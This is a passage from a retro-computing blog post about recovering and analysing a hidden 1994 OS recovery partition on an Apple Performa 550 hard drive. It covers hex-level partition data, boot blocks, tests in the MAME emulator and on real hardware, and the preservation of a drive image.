I tried all kinds of things. I nudged the head while the plat­ters were spin­ning, in­spected it with my ther­mal cam­era to see if any com­po­nents were get­ting hot, and tried it at dif­fer­ent tem­per­a­tures — cold shortly af­ter it ar­rived, and at room tem­per­a­ture later. The only thing I no­ticed was that when it was mak­ing the buzzing sound, one of the IRFD123 MOSFETs would get much hot­ter than nor­mal: up near 100 de­grees Celsius.

I was­n’t re­ally sure what to do with this in­for­ma­tion though. It just seemed wrong that the head was­n’t mov­ing at all. That’s when I fi­nally de­cided to in­spect every­thing fur­ther in­side the drive and no­ticed the head stack seemed like it was stick­ing to a rub­ber/​plas­tic look­ing piece. The Kapton tape trick I fig­ured out and showed off in the last post fi­nally al­lowed me to dump the drive con­tents. If you did­n’t catch it last time, here’s a video show­ing how it was stuck, along with a suc­cess­ful dump with the help of the tape:

As soon as the drive imag­ing process com­pleted, I pow­ered every­thing off and anx­iously opened the hard drive im­age file with my fa­vorite hex ed­i­tor (HxD):

Boom! This drive had a re­cov­ery par­ti­tion on it! Now, that did­n’t nec­es­sar­ily mean any­thing. After all, I had al­ready seen an empty par­ti­tion cre­ated by Apple HD SC Setup on the Performa CD. Still, though, it was def­i­nitely promis­ing. Here’s an in­ter­pre­ta­tion of the data at the be­gin­ning of the en­try in the par­ti­tion table:

50 4D = PM = Signature

00 00 = Padding

00 00 00 05 = 5 to­tal par­ti­tions on the drive

00 04 E2 60 = start­ing phys­i­cal block of the par­ti­tion (0x4E260 blocks = 0x9C4C000 bytes)

00 00 14 00 = size of par­ti­tion in blocks (0x1400 blocks = 0x280000 bytes = 2560 kilo­bytes)

name = MacOS

type = Apple_Recovery

Also, just like in the par­ti­tion table cre­ated by the Performa CD that I had in­spected ear­lier, there were four bytes “msjy” at an off­set of 0x9C bytes into the par­ti­tion table en­try. No other par­ti­tions had any data at 0x9C. I won­der if these are a cou­ple of de­vel­op­ers’ ini­tials hid­ing in there or some­thing? Is it an acronym? “Make Steve Jobs Yodel”? I even asked ChatGPT to come up with a play­ful in­ter­pre­ta­tion in the con­text of Macs in the mid-1990s. It sug­gested “My System Jammed Yesterday”, ex­plain­ing it as a play­ful nod to the “chaotic charm” of the er­a’s ex­ten­sion con­flicts and Sad Mac screens. I did­n’t even men­tion any­thing about it in­volv­ing OS re­cov­ery. Tell me how you re­ally feel about old Macs, ChatGPT!

Knowing that the par­ti­tion was there, the next step was to look near the end of the dumped drive im­age in HxD. If the par­ti­tion had any ac­tual data stored, it would be very ob­vi­ous be­cause start­ing at 0x9C4C000 in the file, there would be ac­tual data and not just a bunch of ze­ros.

This is where I started to ac­tu­ally get ex­cited. The par­ti­tion con­tained boot blocks! This was ob­vi­ous be­cause of the start­ing sig­na­ture of LK and all of the var­i­ous sys­tem file names plainly vis­i­ble. On the other hand, the re­cov­ery par­ti­tion cre­ated by the Performa CD dur­ing test­ing had ze­ros at this lo­ca­tion — no boot blocks.

These boot blocks are iden­ti­cal to the main par­ti­tion’s boot blocks, ex­cept for one very im­por­tant dif­fer­ence: at 0x1A, the Pascal string con­tain­ing the Finder name is “recovery” in­stead of “Finder” like you’d nor­mally see. This means that if you boot from this par­ti­tion, it will load a pro­gram named re­cov­ery in­stead of the usual Finder app you’d ex­pect on most Mac OS in­stalls.

This was def­i­nitely some­thing spe­cial that the re­store CD was not ca­pa­ble of recre­at­ing. As I scrolled fur­ther down through the par­ti­tion, it quickly be­came ob­vi­ous that it ac­tu­ally had some files!

Okay, now I was to­tally stoked! I booted up a copy of the im­aged drive in MAME and im­me­di­ately no­ticed that there was ev­i­dence that the re­cov­ery par­ti­tion had def­i­nitely ac­ti­vated it­self on this ma­chine in the past: there was a folder named Mini System Folder on the desk­top with a cre­ation date in 2004, and the trash con­tained an app called Read Me Mini System Folder with the ex­act same date.

I wanted to ex­pe­ri­ence the au­to­matic OS re­cov­ery process for my­self with­out any cus­tomiza­tions from the orig­i­nal owner of the ma­chine this hard drive came from, so I used HxD to copy the en­tire 2,560 KB re­cov­ery par­ti­tion onto the fresh hard drive im­age I had cre­ated by restor­ing from the Performa CD. This was easy be­cause the Performa ver­sion of Apple HD SC Setup had cre­ated an empty re­cov­ery par­ti­tion with the ex­act same size. Then I booted it up in MAME and dragged the System file out of my System Folder in or­der to in­ten­tion­ally mess it up. I had to turn off System Folder Protection in the Performa con­trol panel first:

This is the clas­sic kind of mis­take that would have nor­mally left you with an un­bootable sys­tem show­ing a floppy disk icon with a flash­ing ques­tion mark. Would Apple’s au­to­matic Performa OS re­cov­ery save me from my­self? I re­booted to see what would hap­pen. Instead of see­ing a flash­ing ques­tion mark, I saw a Happy Mac very briefly be­fore the sys­tem re­booted it­self again. Then an­other Happy Mac showed up, and this time, it looked like a nor­mal boot, ex­cept no ex­ten­sion icons showed up at the bot­tom of the screen. It was def­i­nitely boot­ing from the re­cov­ery par­ti­tion. Eventually, I was greeted with this screen:

Hooray! This was ex­actly the di­a­log box that Macworld Mac Secrets and Apple’s tech note had re­ferred to. The re­cov­ery par­ti­tion had been suc­cess­fully res­cued!

Let’s walk through the rest of this fea­ture. If you click Shut Down, ob­vi­ously the ma­chine turns it­self off. But when it boots back up, the re­cov­ery par­ti­tion does­n’t au­to­mat­i­cally kick in any­more. So you’re on your own to fix the prob­lem by boot­ing from the Performa CD or the Utilities floppy disk.

On the other hand, click­ing OK does ex­actly what the tech note de­scribes. You get the wrist­watch cur­sor for a few sec­onds, the sys­tem re­boots, and then you are greeted with this amaz­ing screen, com­plete with an ugly yel­low desk­top pat­tern. Shall we call it the yel­low screen of shame? Notice that the Mini System Folder on the desk­top is the ac­tive System Folder, be­cause it has the spe­cial icon.

Here are the rest of the pages in this Read Me Mini System Folder app:

Aha! So it’s not en­tirely au­to­matic, since you still have to man­u­ally drag the System, Finder, and System Enablers from the Mini System Folder back to your orig­i­nal System Folder. Still though, it’s a very handy so­lu­tion that gives you a bootable ma­chine when some­thing goes wrong with your OS.

If you just ig­nore these in­struc­tions and keep us­ing the com­puter, you will be nagged with this Read Me on every boot be­cause it lives in­side the Startup Items folder of the Mini System Folder. The Read Me also ap­pears on your desk­top, but for some rea­son it does­n’t show up un­til you open the Hard Disk icon.

Let’s take a deeper look at how it all works by tem­porar­ily chang­ing the par­ti­tion type to Apple_HFS in­stead of Apple_Recovery and boot­ing up again, so we can in­spect the files. After a quick au­to­matic re­build of the desk­top file, the Recovery Volume ap­pears, with ac­tual con­tents this time!

Inside of the System Folder, there are def­i­nitely some in­ter­est­ing things. As ex­pected based on the ear­lier analy­sis of the boot blocks, there is an app named “recovery” that con­tains all of the in­ter­est­ing stuff. The icons are kind of arranged willy-nilly in here.

The cre­ator code of the re­cov­ery app is msjy — the ex­act same magic value we saw in the par­ti­tion table en­try.

Scrolling fur­ther down, there is a System file and var­i­ous en­ablers. Everything is marked as be­ing part of System Software v7.1P6.

It’s in­ter­est­ing to me that al­though this re­cov­ery par­ti­tion was only avail­able on the 550, it still has a bunch of en­ablers for other Performa mod­els: the 45x/46x, 47x/57x, and 600. I guess that’s not too crazy con­sid­er­ing all of these ex­act same en­ablers are in­cluded with a fresh copy of System 7.1P6 in­stalled us­ing the Performa CD.

As a quick de­tour, System Enabler 316 is an in­ter­est­ing one that is hard to find info about on the Internet. I in­spected its ‘gbly’ re­source and de­ter­mined that it’s for the Centris 610, Centris 650, and Quadra 800. It’s an older ver­sion of the en­abler cre­ated be­fore the speed-bumped Quadra 610 and Quadra 650 were a thing. I won­der if there was a plan at some point to have a Performa model based on one of those ma­chines? If I had to guess, maybe it would have been a 68040-based suc­ces­sor to the Performa 600, which uses the same case style as the Centris 650. The Performa 650?

Let’s not get too far off track. Back to the Recovery Volume’s System Folder — as ex­pected, the Startup Items folder con­tains the Read Me ap­pli­ca­tion:

Everything started to be­come clear. The re­cov­ery app was marked as the startup ap­pli­ca­tion in­stead of the Finder. It dis­played the di­a­log giv­ing the user the op­tion to re­cover. If they clicked OK, it would copy the en­tire System Folder from the Recovery Volume, omit­ting it­self, to the Desktop Folder of the main hard drive par­ti­tion. Then, it would “bless” the newly-copied mini System Folder and re­boot.

How did all this stuff get into the par­ti­tion? Did Apple Backup do it, or was it fac­tory-pro­grammed data? I tried to see if I could de­duce any­thing from the dates of the files. In or­der to pre­serve the in­tegrity of all of the dis­played dates, I per­formed this analy­sis with a read-only copy of the orig­i­nal drive im­age in or­der to pre­vent any mod­i­fi­ca­tion dates from be­ing up­dated.

All of the files in the par­ti­tion have a cre­ation date of March 4, 1994 — over 31 years ago! Most of the files have a match­ing mod­i­fi­ca­tion date, ex­cept for the System suit­case, which was last mod­i­fied on September 26, 1994. I don’t know ex­actly what this all means, con­sid­er­ing it came from a ma­chine with a January 1994 man­u­fac­ture date.

The Recovery Volume it­self also has a cre­ation date of March 4th, just five min­utes be­fore the cre­ation date of all the files. Interestingly, the mod­i­fi­ca­tion date of the vol­ume is still shown as March 4th in the Get Info win­dow, even though the System suit­case was mod­i­fied later in September of that year.

The Master Directory Block of the Recovery Volume says the mod­i­fi­ca­tion date (drLsMod) is September 26th, match­ing when the System file was changed. I’m not sure what causes this dis­crep­ancy. I guess the date dis­played in the Get Info win­dow is­n’t sim­ply the date stored in the Master Directory Block.

Similarly, al­though the main hard drive par­ti­tion has a cre­ation date of December 5, 1993 ac­cord­ing to the Master Directory Block, the Get Info win­dow says it was cre­ated on February 3, 1994. I’m not sure which one is more ac­cu­rate. Either way, it’s pretty clear this drive had not been re­for­mat­ted. I did find it cu­ri­ous that the re­cov­ery par­ti­tion was cre­ated over a month later, though. When you re­for­mat a hard drive us­ing the spe­cial ver­sion of Apple HD SC Setup on the Performa CD, the re­cov­ery par­ti­tion ends up with a cre­ation date about a minute af­ter the main par­ti­tion.

The Finder and System Enablers in the re­cov­ery par­ti­tion are iden­ti­cal to the same stock files from a 7.1P6 re­store. The only dif­fer­ence I could find in the System file was that the re­cov­ery par­ti­tion’s ver­sion was miss­ing a sin­gle At Ease ‘INIT’ re­source, but the At Ease Startup ex­ten­sion au­to­mat­i­cally adds it to the System file af­ter you re­boot. This leaves you with a System file to­tally iden­ti­cal to what is re­stored from the Performa CD. I find it odd that At Ease was stripped out, but the American Heritage Dictionary ‘FKEY’ re­source was not.

The best the­ory that I can come up with is that Apple Backup re­ally was re­spon­si­ble for cre­at­ing this par­ti­tion. After all, Apple went out of their way to specif­i­cally men­tion it in their tech note. Maybe March 4th, 1994 was the date when the orig­i­nal owner of the com­puter backed it up for the first time. September 26th could have been the last time that Apple Backup was run. Perhaps the owner com­pletely unin­stalled At Ease from the com­puter be­tween March and September, so the System file had been changed and the re­cov­ery copy needed to be up­dated ac­cord­ingly? Unfortunately, most of the Performa-specific soft­ware had been deleted from this com­puter. It was still run­ning System 7.1P6, but Apple Backup was nowhere to be found. So I was­n’t able to con­firm whether or not a mys­te­ri­ous, un­pre­served newer ver­sion of Apple Backup was re­ally re­spon­si­ble for pop­u­lat­ing the par­ti­tion.

The other the­ory float­ing around in my head is that maybe it came from the fac­tory like this. The March 1994 time­line is con­sis­tent with the date of the tech note de­scrib­ing the func­tion­al­ity, so maybe that’s when Apple cre­ated it and started bundling it. I don’t know how long the ma­chines sat at Apple’s fac­tory be­fore they were ac­tu­ally sold — does a man­u­fac­ture date of January 1994 also mean it was shipped to a store in January 1994? Either way, I def­i­nitely don’t know how to ex­plain the September 26th, 1994 mod­i­fi­ca­tion date. Maybe a third-party util­ity did some­thing to the System file on the sec­ondary par­ti­tion? The first Apple Backup the­ory seems like the more likely ex­pla­na­tion, es­pe­cially given that Apple said that’s how it was cre­ated.

This whole ques­tion is the last piece of the puz­zle that has­n’t been solved yet. If any­one else has a Performa 550 and would be will­ing to dump their hard drive or at least look at Apple Backup, I’d be very in­ter­ested in find­ing out A) if it has the re­cov­ery par­ti­tion and B) if there was a spe­cial newer ver­sion of Apple Backup that did­n’t make its way onto the Performa CD. I searched for var­i­ous strings that show up in the “recovery” and “Read Me Mini System Folder” apps, and they aren’t any­where on the Performa CD. I guess they could be stored com­pressed some­where, but I’m pretty con­fi­dent based on the ac­tual Apple Backup code that noth­ing is hid­ing in there. Here are the var­i­ous ver­sions (with their ex­act sizes and dates) of Apple Backup that I have seen on Performa 550 in­stal­la­tions. None of these have the re­cov­ery par­ti­tion cre­ation built in:

I also found ver­sion 1.3 (June 15, 1994, 163,388 bytes used) by restor­ing from a Performa 636 re­store CD. It, too, does not con­tain any re­cov­ery par­ti­tion code.

For a demo, I thought it would be fun to repli­cate the prob­lem that the Apple tech note men­tioned about the Dinosaur Safari CD in­ad­ver­tently ac­ti­vat­ing the re­cov­ery par­ti­tion, so I bought a copy to test it out. To make it even more in­ter­est­ing, I de­cided to run this test on real hard­ware. I’m lean­ing to­ward be­liev­ing that a lot of the older caddy-load­ing mod­els (possibly all of them) did­n’t have this re­cov­ery par­ti­tion, so just pre­tend it’s a newer model that came with System 7.1P6. I copied the re­cov­ery par­ti­tion onto a real Apple-branded IBM 160 MB SCSI hard drive us­ing ZuluSCSI’s USB MSC ini­tia­tor mode, which al­lows it to act as a USB-to-SCSI bridge. Sorry about the flick­ery screen; I could­n’t get my phone cam­er­a’s shut­ter speed to sync up per­fectly with the dis­play’s re­fresh rate.

Sure enough, when I opened the game from the CD, the com­puter did ex­actly what Apple’s tech note said it would do. The workaround of copy­ing the ap­pli­ca­tion to my hard drive worked just fine. If it’s not ob­vi­ous, I sped up the process of copy­ing it to the hard drive — it took a while! It might be in­ter­est­ing some­day to look into why this game ac­ci­den­tally ac­ti­vated the OS re­cov­ery, but this blog is al­ready get­ting way too long!

I want to talk a lit­tle more about the yel­low screen of shame. When I first saw it, I was­n’t en­tirely sure if it was re­ally part of the re­cov­ery func­tion­al­ity or if the orig­i­nal owner just had ter­ri­ble taste.

Digging deeper, I found three clues that all made it clear it was an in­ten­tional choice by Apple to re­ally make it ob­vi­ous that some­thing was wrong. First, the yel­low pat­tern is stored as a ‘ppat’ re­source in the re­cov­ery app.

Second, the System file in the re­cov­ery par­ti­tion has the de­fault blue-gray Performa back­ground shown in the screen­shots above. This makes sense, be­cause it’s the pat­tern that showed up with the di­a­log about the Performa hav­ing trou­ble start­ing up.

And lastly, page 3 of the Read Me app im­plies that some­thing may have changed your desk­top pat­tern.

So clearly, the re­cov­ery process, by de­sign, sets up the cus­tom yel­low back­ground.

Why did I care so much about find­ing this lost par­ti­tion? Well, there are a num­ber of rea­sons. For one, this is ex­actly the kind of re­search pro­ject that’s per­fect for me be­cause I don’t know how to let things go. It’s also some­thing that, quite frankly, needed to be pre­served be­fore it be­came ex­tinct. The most im­por­tant rea­son, though, is that this func­tion­al­ity is his­tor­i­cally sig­nif­i­cant and de­serves some at­ten­tion. How many per­sonal com­put­ers in 1994 still had the abil­ity to boot af­ter the OS was trashed? Isn’t this an ex­tremely early ex­am­ple of this type of func­tion­al­ity? Did Windows have any­thing like this prior to Vista? Did the Mac have any­thing else like this prior to some­time in the OS X era? I would love to hear more com­ments about what you think on this. I ad­mit­tedly don’t know a ton about older ma­chines that weren’t Macs.

I’m not say­ing this fea­ture is per­fect. Since we’ve al­ready seen that the Dinosaur Safari CD was able to ac­ci­den­tally ac­ti­vate it, I would­n’t be sur­prised if there were other ways to in­ad­ver­tently cause it to pop up too. It also re­quired man­ual in­ter­ven­tion af­ter the re­cov­ery process, which meant that you needed a fair amount of com­puter knowl­edge to fin­ish fix­ing your OS. The av­er­age Joe Schmoe would prob­a­bly have trou­ble fol­low­ing these di­rec­tions to fix the System Folder. But still, it leaves you with a bootable sys­tem in­stead of an un­us­able com­puter with a flash­ing ques­tion mark. It’s very cool, es­pe­cially for 1994.

I won­der why Apple did­n’t con­tinue down this path with sub­se­quent mod­els? Or even retroac­tively adding the func­tion­al­ity to ear­lier ones af­ter a fresh in­stall of a newer OS. I’m not aware of any other Macs that have this par­ti­tion. It does­n’t de­pend on any spe­cial ROM sup­port or any­thing like that, at least as far as I can see. I tried out the re­cov­ery func­tion­al­ity on sev­eral other ma­chines: a IIci, LC, LC 475, and an em­u­lated Performa 600, and it works great on all of them. Heck, it even works on the Classic II/Performa 200!

It kind of looks like the win­dow size of the Read Me app was a cal­cu­lated de­ci­sion to en­sure it would fit on the 512×342 screen used in black-and-white com­pact Macs.

Thinking about later mod­els, the Performa 630 se­ries used an in­ter­nal IDE hard drive in­stead of SCSI, so the cus­tom ver­sion of Apple HD SC Setup was no longer used. I won­der if the Performa 57x se­ries had this par­ti­tion? You’d think they would have had the ex­act same soft­ware bun­dle as the tray-load­ing 550 mod­els. If any read­ers have a Performa 57x ma­chine, I’d greatly ap­pre­ci­ate it if you could check!

How did this func­tion­al­ity ac­tu­ally work un­der the hood? I haven’t gone too deep into the code (maybe it can be a fu­ture post), but I have pieced to­gether a few clues. The “msjy” magic num­ber I talked about ear­lier def­i­nitely plays a part in every­thing. The spe­cial Performa ver­sion of Apple HD SC Setup also in­cludes a cus­tom ver­sion of Apple’s hard disk dri­ver. This dri­ver con­tains sev­eral ref­er­ences to msjy, so I’m pretty sure that’s what it uses to iden­tify the re­cov­ery par­ti­tion.

I also dis­cov­ered that the 7.1P4 and 7.1P5 Utilities floppy disks, which were bun­dled with var­i­ous Performas, have slightly older cus­tom ver­sions of Apple HD SC Setup: 7.2.1P and 7.2.2P re­spec­tively. They also cre­ate the re­cov­ery par­ti­tion. The in­ter­est­ing thing about these ver­sions is that it ap­pears Apple ac­ci­den­tally for­got to strip out the de­bug func­tion names, in both the util­ity it­self and the bun­dled hard disk dri­ver. They did­n’t make this mis­take in the orig­i­nal non-Per­forma 7.2.2 ver­sion, and they also did­n’t make the mis­take in the newer 7.2.2P6 ver­sion. Anyway, this is kind of cool, be­cause it tells me the names of func­tions that look for “msjy” at an off­set of 0x9C. Function names in that same area of the dri­ver code in­clude: recvry­bootable, con­fir­m­min­sys­tem, flushre­cov­eryflag, re­cov­eryv­olex­ists, and se­tre­cov­eryflags. So Apple def­i­nitely at least sort of re­leased some of the re­cov­ery func­tion­al­ity to the pub­lic prior to 7.1P6, de­spite what their own ver­sion his­tory says. And the disk dri­ver is def­i­nitely in­volved in it.

Newer ver­sions of Apple’s disk dri­ver no longer con­tain the magic num­ber, so at some point they must have aban­doned this func­tion­al­ity. In my opin­ion, it’s a real shame that they ditched it — this could have been very use­ful go­ing for­ward on all Macs. They could have even ex­panded on it and au­to­mated more of the re­cov­ery process. Sure, it used some of your hard drive space, but it could have been a good trade-off for bet­ter re­li­a­bil­ity.

That’s more than enough tech­ni­cal stuff for one post. I am shar­ing a down­load link where you can try this func­tion­al­ity out for your­self if you want. After all, the whole rea­son I did this was for soft­ware preser­va­tion pur­poses, so it makes sense to share it with the world. This is a small piece of Apple soft­ware his­tory that, to my knowl­edge, has not been pre­served un­til now. I up­loaded a drive im­age to the Macintosh Garden. Don’t worry, I did­n’t in­clude any of the orig­i­nal own­er’s per­sonal data. I started fresh with a blank hard drive im­age, re­stored it us­ing the 7.1P6 Performa CD, and then only copied over the re­store par­ti­tion from the dumped hard drive. So this is a fac­tory-fresh Performa 550 7.1P6 in­stall with the re­cov­ery par­ti­tion also pre­sent and pop­u­lated.

The MAME com­mand that I use to boot from this disk im­age is:

mame maclc550 -scsi:0 hard­disk -harddisk1 Performa550.hda -window -nomaximize -ramsize 32M

Of course, you can also test it out on a real ma­chine by copy­ing the hard drive im­age to a ZuluSCSI or BlueSCSI and nam­ing it some­thing like HD00.hda.

Winding down this su­per long post now, the main lessons I learned from this re­search pro­ject are: